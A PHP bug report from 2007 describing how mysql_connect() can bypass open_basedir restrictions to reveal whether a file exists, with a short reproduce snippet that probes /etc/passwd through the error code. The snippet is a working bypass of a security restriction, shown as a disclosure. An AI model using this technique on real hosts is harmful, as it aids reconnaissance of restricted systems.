|   | php.net | support | documentation | report a bug | advanced search | search howto | statistics | random bug | login | 
| 
 PatchesPull RequestsHistoryAllCommentsChangesGit/SVN commits              [2007-06-12 12:43 UTC] iliaa@php.net
  [2007-06-15 18:02 UTC] dr at peytz dot dk
 | |||||||||||||||||||||||||||||||||||||
|  Copyright © 2001-2025 The PHP Group All rights reserved. | Last updated: Fri Oct 31 08:00:01 2025 UTC | 
Description: ------------ file_exists() etc. does not allow checking the existence of files outside the directories specified in open_basedir. This can be circumvented using mysql_connect(). The existence of a file can be checked using the example code below. Reproduce code: --------------- $filename = '/etc/passwd'; mysql_connect(':' . $filename); $error = error_get_last(); if (strpos($error['message'], '(13)')) { print 'file exists'; } else { print 'file does not exist'; }